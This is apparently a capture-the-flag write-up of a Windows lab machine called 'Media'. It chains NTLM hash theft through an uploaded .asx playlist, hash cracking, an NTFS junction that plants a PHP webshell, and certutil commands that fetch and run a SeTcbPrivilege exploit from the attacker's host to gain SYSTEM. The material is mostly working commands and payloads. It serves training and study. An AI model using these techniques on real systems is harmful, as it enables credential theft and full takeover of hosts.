Media
A scheduled review service opens uploaded playlists in Windows Media Player, leaking a NetNTLMv2 hash over SMB. With the cracked password, a PHP upload directory is replaced with an NTFS junction into the webroot, turning the web server's own upload into a webshell running as LocalService with SeTcbPrivilege, which TcbElevation converts to SYSTEM.
Attack path
flowchart LR A[nmap 22/80/3389] --> B[Upload form<br/>no extension filter] B --> C[.asx playlist<br/>with UNC path] C --> D[Responder captures<br/>NetNTLMv2 enox] D --> E[hashcat cracks<br/>enox password] E --> F[SSH as enox<br/>user.txt] F --> G[Review pipeline mapped:<br/>md5 upload dirs + todo.txt] G --> H[mklink /J upload dir<br/>to webroot] H --> I[Webshell as LocalService<br/>SeTcbPrivilege] I --> J[TcbElevation<br/>SYSTEM adds enox to admins] J --> K[root.txt]
Recon
Step 1 — Port scan
sudo nmap -sV -sC -T4 10.129.234.67 -p- -o nmap.txt22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)|_http-title: ProMotion Studio3389/tcp open ms-wbt-server Microsoft Terminal Services| rdp-ntlm-info:| NetBIOS_Domain_Name: MEDIA| DNS_Computer_Name: MEDIA| Product_Version: 10.0.20348Three ports. The host is a standalone Windows Server 2022 (workgroup MEDIA), running an XAMPP stack on port 80. All other ports are filtered, so there is no SMB, WinRM, or Kerberos to enumerate externally.
Step 2 — Web application
curl -s http://10.129.234.67/The site is a single Bootstrap landing page for “ProMotion Studio” with one function: a hiring form that submits a multipart POST to / with fields firstname, lastname, email, and fileToUpload. The form text asks for a video “compatible with Windows Media Player”, which implies something on the host opens the uploads.

Step 3 — Upload filter test
curl -s -X POST http://10.129.234.67/ \ -F 'firstname=John' -F 'lastname=Doe' -F 'email=john@example.com' \ -F 'fileToUpload=@shell.php;type=video/mp4' \ -F 'submit=Upload File'<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>A file with a .php extension and PHP content is accepted. The message also states that a reviewer will open the video, confirming the uploads are processed on the host.


Foothold
Step 4 — Windows Media Player playlist to NTLM leak
Windows Media Player playlist formats (.asx, .wax, .wvx, .wmx) can reference remote resources. When the player resolves a file:// UNC path, it authenticates over SMB. A playlist pointing at the attacker leaks a NetNTLMv2 hash when the review service opens it.
cat > intro.asx << 'EOF'<ASX version="3.0"> <ENTRY> <REF HREF="\\10.10.14.33\videos\intro.wmv"/> </ENTRY></ASX>EOFsudo responder -I tun0 -vUploading intro.asx through the same form produces the success message, and within a minute Responder records five authentication attempts from 10.129.234.67.
[SMB] NTLMv2-SSP Client : 10.129.234.67[SMB] NTLMv2-SSP Username : MEDIA\enox[SMB] NTLMv2-SSP Hash : enox::MEDIA:fe0d4ce351b250ca:e0f313fcc1bd579ef32c42205a1a54cf:01010000...
Step 5 — Crack the hash
sudo hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txtENOX::MEDIA:fe0d4ce351b250ca:...:1234virus@Status...........: CrackedThe password for MEDIA\enox is 1234virus@.
Step 6 — SSH access
ssh enox@10.129.234.67enox@MEDIA C:\Users\enox>whoamimedia\enoxSSH accepts the cracked credentials. whoami /priv shows no exploitable privileges and no group memberships beyond the basics.
Step 7 — User flag
type C:\Users\enox\Desktop\user.txtuser.txt reads <redacted>.
Privilege escalation
Step 8 — Map the review pipeline
The upload handler source is readable in the webroot.
type C:\xampp\htdocs\index.phpKey logic:
$uploadDir = 'C:/Windows/Tasks/Uploads/';$folderName = md5($firstname . $lastname . $email);$targetDir = $uploadDir . $folderName . '/';mkdir($targetDir, 0777, true);$sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetDir . $sanitizedFilename);file_put_contents($uploadDir . 'todo.txt', "Filename: " . $originalFilename . ", Random Variable: " . $folderName . "\n", FILE_APPEND);Each upload lands in C:\Windows\Tasks\Uploads\<md5(firstname.lastname.email)>\<sanitized-name>, and a line with the raw filename is appended to todo.txt. A Windows service consumes that queue.
reg query HKLM\SYSTEM\CurrentControlSet\Services\ReviewService /sObjectName REG_SZ .\enoxImagePath REG_EXPAND_SZ C:\Program Files\nssm-2.24\win64\nssm.exeApplication REG_EXPAND_SZ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAppParameters REG_EXPAND_SZ -ExecutionPolicy Bypass -NoProfile -File C:\Users\enox\Documents\review.ps1review.ps1 loops on todo.txt, runs Start-Process wmplayer.exe "C:\Windows\Tasks\uploads\<md5>\<raw-filename>", kills the player after 15 seconds, and removes the processed line. Everything in this service runs as enox, so the pipeline itself is not a privilege boundary — but it writes and reads through directories whose ACLs matter in the next steps.
Step 9 — Identify the privilege facts
Three facts from enumeration decide the escalation:
reg query HKLM\SYSTEM\CurrentControlSet\Services\ApacheHTTPServericacls C:\Xamppicacls C:\xampp\htdocsObjectName REG_SZ NT AUTHORITY\Local ServiceRequiredPrivileges REG_MULTI_SZ ...SeTcbPrivilege...C:\Xampp NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(F)C:\Xampp\htdocs BUILTIN\Users:(I)(OI)(CI)(RX)- Apache runs as
NT AUTHORITY\Local Serviceand its required privileges includeSeTcbPrivilege. - LocalService has full control over
C:\Xampp, whileenoxhas only read-execute — the webroot cannot be written directly. - The upload directories are created by PHP with
mkdir(..., 0777);review.ps1successfully writestodo.txt.tmpinto them asenoxevery cycle, provingenoxcan delete and recreate them.
Any file Apache writes through an upload can therefore be redirected: if the <md5> directory is replaced by a junction, move_uploaded_file writes into the junction target as LocalService.
Step 10 — Replace the upload directory with a junction
Upload once with a fixed identity to create the directory, then swap it.
curl -s -X POST http://10.129.234.67/ \ -F 'firstname=j' -F 'lastname=p' -F 'email=j@p.io' \ -F 'fileToUpload=@junk.txt;type=video/mp4' -F 'submit=Upload File'echo -n "jpj@p.io" | md5sum3d8e940eaaede8359a89f8e0a70bbbd4 -cd C:\Windows\Tasks\Uploadsdel 3d8e940eaaede8359a89f8e0a70bbbd4\junk.txtrmdir 3d8e940eaaede8359a89f8e0a70bbbd4mklink /J 3d8e940eaaede8359a89f8e0a70bbbd4 C:\xampp\htdocs11/10/2026 05:25 AM <JUNCTION> 3d8e940eaaede8359a89f8e0a70bbbd4 [C:\xampp\htdocs]The directory name is predictable — the MD5 of the three form fields — so the junction can be created before the second upload.
Step 11 — Webshell as LocalService
echo '<?php system($_REQUEST["c"]); ?>' > sh.phpcurl -s -X POST http://10.129.234.67/ \ -F 'firstname=j' -F 'lastname=p' -F 'email=j@p.io' \ -F 'fileToUpload=@sh.php;type=video/mp4' -F 'submit=Upload File'curl -s 'http://10.129.234.67/sh.php?c=whoami'nt authority\local serviceThe same identity produces the same MD5 directory, PHP sees the directory already exists through the junction, and sh.php is written into C:\xampp\htdocs by the Apache process. whoami /priv through the webshell shows SeTcbPrivilege.
Step 12 — SeTcbPrivilege to SYSTEM
TcbElevation enables SeTcbPrivilege, hooks AcquireCredentialsHandleW to claim the SYSTEM LUID, and creates a service whose binary path is an arbitrary command; the service control manager starts it as SYSTEM. Prebuilt binaries are published alongside the original gist.
wget -q "https://github.com/b4lisong/SeTcbPrivilege-Abuse/raw/main/TcbElevation-x64.exe" -O tcb.exeprintf '@echo off\r\nnet localgroup Administrators enox /add\r\n' > add.batpython3 -m http.server 8000curl -s 'http://10.129.234.67/sh.php?c=certutil+-urlcache+-f+http://10.10.14.33:8000/tcb.exe+C:\Windows\Temp\tcb.exe'curl -s 'http://10.129.234.67/sh.php?c=certutil+-urlcache+-f+http://10.10.14.33:8000/add.bat+C:\Windows\Temp\add.bat'curl -s 'http://10.129.234.67/sh.php?c=C:\Windows\Temp\tcb.exe+helo+C:\Windows\Temp\add.bat'Error starting service 1053The 1053 error is the service control manager timing out on its handshake with the batch file; the command has already run as SYSTEM. The staged batch avoids spaces in the command line, which keeps the webshell quoting simple.
net localgroup administratorsMembers-------------------------------------------------------------------------------AdministratorenoxStep 13 — Root flag
A new SSH session as enox now carries the Administrators group.
type C:\Users\Administrator\Desktop\root.txtroot.txt reads <redacted>.
What didn’t work
- Password reuse:
1234virus@did not authenticate asadministratorover SSH. - UserDir webshell:
httpd-userdir.confis included, butLoadModule userdir_moduleis commented out, so/~enox/returns 404. - Writable service or task lanes: winPEAS and manual registry enumeration found no writable service binaries, no modifiable service configs, and no controllable scheduled tasks. Service and process enumeration through the SCM is denied to standard users on this host.
- Legacy
.jobtask files:C:\Windows\Tasksaccepts file creation by authenticated users, and a legitimately registered V1 task provided a template to forge. The running scheduler ignores dropped.jobfiles; they are only read at service start. A machine reset restores the snapshot and deletes them before any boot scan, so the technique has no trigger here. - PsShutdownSvc: a Sysinternals PsShutdown service exists on the host but is stopped, exposes no named pipe, and cannot be started by a standard user.
- SMB share enumeration: tunneled through SSH,
nxc smb --sharesshowed only the defaultADMIN$,C$, andIPC$.
Lessons learned
- A directory a privileged process writes into, which a low-privilege user can delete and recreate, is an arbitrary-write primitive: replace it with
mklink /Jand the next write lands at the junction target. Predictable directory names (here, an MD5 of form fields) make this reliable. SeTcbPrivilegealone is enough for SYSTEM: TcbElevation abuses the SSPI credential handle path to claim the SYSTEM logon session and starts a service with an arbitrary command. A failing service handshake (error 1053) does not mean the command failed.- Any pipeline that opens user-supplied media in Windows Media Player leaks NTLM authentication: playlist formats reference UNC paths, and the player authenticates to them under the reviewing account.